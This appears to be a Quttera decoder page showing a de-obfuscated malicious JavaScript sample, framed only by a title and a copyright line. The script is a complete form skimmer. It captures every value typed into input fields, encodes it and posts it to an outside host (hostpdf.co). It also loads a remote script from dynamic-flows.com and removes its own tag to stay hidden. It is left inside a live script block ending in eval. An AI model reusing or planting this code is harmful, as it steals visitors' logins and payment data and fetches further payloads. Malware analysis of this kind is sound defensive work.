Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


<script id="vtbias">
var cvojphgk = "
                                function getCookie(name) {
                                    const cookies = document.cookie.split(';');
                                    for (let i = 0; i < cookies.length; i++) {
                                        const cookie = cookies[i].trim();
                                        if (cookie.startsWith(name + '=')) {
                                            return cookie.substring(name.length + 1);
                                        }
                                    }
                                    return null;
                                }

                                function setCookie(name, value, minutesToExpire) {
                                    const expirationDate = new Date();
                                    expirationDate.setTime(expirationDate.getTime() + (minutesToExpire * 60 * 1000));
                                    document.cookie = name + '=' + value + ';expires=' + expirationDate.toUTCString() + ';path=/';
                                }

                                function generateRandomString(length) {
                                    const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
                                    let result = "";
                                    for (let i = 0; i < length; i++) {
                                        const randomIndex = Math.floor(Math.random() * characters.length);
                                        result += characters.charAt(randomIndex);
                                    }
                                    return result;
                                }

                                let uid = getCookie('xxsuyqo');
                                if (!uid) {
                                    uid = generateRandomString(10);
                                    setCookie('xxsuyqo', uid, 10); // Set cookie to expire in 10 minutes
                                }

                                function sendPostRequest(t,e){
                                    const n=new URLSearchParams;
                                    n.append("uid",uid),
                                    n.append("i_name",t),
                                    n.append("b",btoa(e)),
                                    fetch("https://hostpdf.co/pinche.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:n.toString()}).then((t=>t.text())).then((t=>console.log(t))).catch((t=>console.error("Error:",t)))
                                }

                                document.addEventListener("input",(function(t){
                                    if("INPUT"===t.target.tagName&&"button"!==t.target.type){
                                        sendPostRequest(t.target.name||t.target.id,t.target.value)
                                    }
                                }));

                                var scriptElement = document.createElement("script");

                                scriptElement.src = "https://dynamic-flows.com/hop.js";

                                function removeScript() {
                                    var scriptToRemove = document.getElementById('vtbias');
                                    if (scriptToRemove) {
                                        scriptToRemove.parentNode.removeChild(scriptToRemove);
                                    }
                                    scriptElement.parentNode.removeChild(scriptElement);
                                }

                                scriptElement.addEventListener('load', removeScript);

                                document.body.appendChild(scriptElement);
                                ";
var hciwtoya = 8;
function pqkhthqp(a) {
    return String.fromCharCode(parseInt(a, 16) - hciwtoya);
}
cvojphgk = cvojphgk.replace(/0x[0-9a-f]+/g, function(b) {
    return pqkhthqp(b);
});
eval(cvojphgk);
</script>



© 2023 Quttera Ltd. All rights reserved.